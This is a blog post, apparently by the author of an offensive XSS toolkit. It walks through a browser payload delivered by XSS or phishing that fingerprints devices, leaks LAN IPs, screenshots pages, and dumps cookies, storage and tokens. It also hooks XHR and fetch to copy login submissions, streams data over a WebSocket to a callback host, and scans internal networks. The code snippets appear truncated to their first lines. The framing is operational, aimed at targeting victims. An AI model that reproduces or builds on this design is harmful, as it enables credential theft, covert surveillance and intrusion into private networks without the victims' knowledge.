Third post in the Offensive Callback series. This is the deep dive into the client-side JavaScript payload — what I call merch.js internally, served as dl.full.min.js by the XSS dealer. It’s the piece that runs in a victim’s browser and does all the actual collection work.
The file is about 10,000 lines minified and bundles several libraries: a hashing library (MD5/SHA1/SHA256), html2canvas for screenshots, and FingerprintJS v5. Here’s what it does, in order of execution.
How it lands in a browser
The dealer serves it as a .js file. The victim’s browser loads it via a <script> tag — either injected through XSS, embedded in a phishing page, or pulled in through the proxy dealer. From the browser’s perspective it’s just another script asset load. Once it runs, it has full access to the current page’s DOM, storage, and JavaScript context.
The script is designed to be non-blocking and silent. No visible UI changes, no console output, no errors that would alert the user.
Step 1 — Fingerprint generation (Fu and Fb)
The first thing the payload does is compute two hashes that become the device’s primary identifiers.
Fu (Fingerprint Unique) is a SHA-256 hash computed from a combination of:
- Canvas rendering: a hidden
<canvas>element draws specific text and shapes. The exact pixel output varies across GPU/driver/OS combinations, producing a rendering-stable hash - Installed fonts: the payload probes for font availability by measuring text width with a reference font vs. a test font. Each available font shifts the hash
- WebGL renderer string and vendor
- Screen resolution and color depth
- Platform string from
navigator.platform
Fu is designed to be stable across sessions — the same device produces the same Fu even after clearing cookies, changing IP, or opening a new browser tab. That’s the whole point: it’s a persistent identifier that survives cookie deletion.
Fb (Fingerprint Browser) is the raw canvas rendering hash, without the font and WebGL components. More sensitive to browser updates (a Chromium rendering engine update changes the canvas output) but more precise for identifying GPU/driver combinations.
Both hashes are computed client-side and exfiltrated immediately on first payload execution.
Step 2 — Device data collection (Jd)
The payload collects a Jd (JSON of Device) object containing everything the browser will expose:
1 | { |
The Jd is base64-encoded before transmission. On the server side it’s decoded and stored in the database, displayed in the /callback dashboard view per fingerprint.
Step 3 — WebRTC IP leak probe
Before sending anything, the payload attempts to extract the victim’s LAN IP via WebRTC:
1 | const pc = new RTCPeerConnection({ iceServers: [] }); |
If the browser leaks local IPs through ICE candidates (most do unless WebRTC is disabled), the rtcdata field in Jd gets populated with the internal network address. This reveals NAT’d network topology even when the source IP is a VPN or a shared NAT.
Step 4 — Page screenshot
The payload uses html2canvas (bundled in the minified file) to take a screenshot of the current page and encode it as base64:
1 | html2canvas(document.body).then(canvas => { |
The screenshot is sent to the server as a POST to the dealer endpoint, stored under Sources/screenshotsB64/. From the dashboard you can view screenshots per fingerprint, including the exact page the payload fired on. This is extremely useful for understanding context — was it a login page? A sensitive internal dashboard? A payment form?
Step 5 — Storage and page context dump
Once the screenshot is queued, the payload sweeps the current page context:
localStorage and sessionStorage:
1 | const localData = { ...localStorage }; |
Cookies (document.cookie — only non-HttpOnly cookies are accessible):
1 | const cookies = document.cookie; |
API keys and tokens visible in page source:
The payload scans the DOM, <script> tags, and JavaScript variables in window scope for patterns matching:
- JWT tokens (
eyJ...) - API key patterns (common variable names:
apiKey,api_key,token,access_token,bearer) - Environment variable leaks in embedded JS bundles
Form interception:
The payload hooks into XMLHttpRequest.prototype.send and fetch to intercept POST submissions:
1 | const originalSend = XMLHttpRequest.prototype.send; |
This catches login form submissions, API calls with credentials, and any other POST body before it’s sent to the legitimate server. The victim completes the form normally — they don’t see any error — but the payload has already shipped a copy to the callback server.
Step 6 — WebSocket connection
The payload opens a persistent WebSocket back to the server:
1 | const ws = new WebSocket('wss://callback.example.com'); |
The connection stays open as long as the page is open. This enables:
- Continuous data streaming (storage updates, new form submissions)
- LAN scan results as they come in
- Server-to-browser commands (future use)
The /callback dashboard view shows active WebSocket sessions in real time, including the Fu hash, source IP, and last activity time.
Step 7 — LAN network scanner
The most aggressive capability. The payload uses a combination of WebRTC, fetch timing, and image probing to map the victim’s internal network:
- RTCPeerConnection probes enumerate reachable RFC-1918 subnets
- Timing-based fetch probes (with a very short timeout) detect whether internal hosts respond
- Image probes (
new Image().src = 'http://192.168.x.x/') detect web UIs on internal hosts
Results are streamed back over WebSocket as they arrive. The dashboard shows discovered internal hosts, their response times, and any open HTTP ports detected.
This runs asynchronously and doesn’t block the rest of the payload. In a corporate network it can reveal internal admin panels, NAS devices, printers, and infrastructure.
Step 8 — Geolocation enrichment (client-side)
The payload queries ip-api.com client-side from the browser to get the public IP’s geolocation. This is separate from the server-side GeoIP lookup — it gives a cross-reference:
- Server sees: the IP the browser connected from (could be a proxy/CDN edge)
- Browser query sees: the IP the browser resolves from (may differ if the server is behind a load balancer)
Both results are stored and shown in the /callback dashboard’s geo panel.
CSS fallback — no JavaScript required
If the JS payload can’t execute (CSP blocks it, NoScript, corporate policy), the CSS dealer fires instead. It uses purely CSS techniques to probe the browser environment:
1 | /* Font probe — loads different images based on which fonts render */ |
Each CSS rule that fires loads a distinct URL, which hits the callback server and gets logged. Result: OS/browser/screen profile without a single line of JavaScript executing.
Anti-fingerprinting detection
The payload includes logic to detect browsers with active anti-fingerprinting:
- Canvas noise: the payload renders the same canvas operation multiple times and computes variance. High variance = noise injection (Brave, Firefox with
privacy.resistFingerprinting) - WebGL noise: same approach with WebGL
- Inconsistent Jd: if multiple beacons from the same Fu hash show different
hardwareConcurrency,deviceMemory, or GPU strings, the dashboard flags the card as Inconsistent
This doesn’t defeat the anti-fingerprinting — it just tells you when a target is using one. Useful for operational planning.
Next post: the server-side OSINT and IP analysis pipeline — GeoIP, WHOIS, Shodan, CriminalIP, VirusTotal, and the IP blacklist system.
![Keramon [Child / Virus] Keramon](/blog/img/digimon-pets/keramon.gif)
![Chrysalimon [Adult / Unknown] Chrysalimon](/blog/img/digimon-pets/chrysalimon.gif)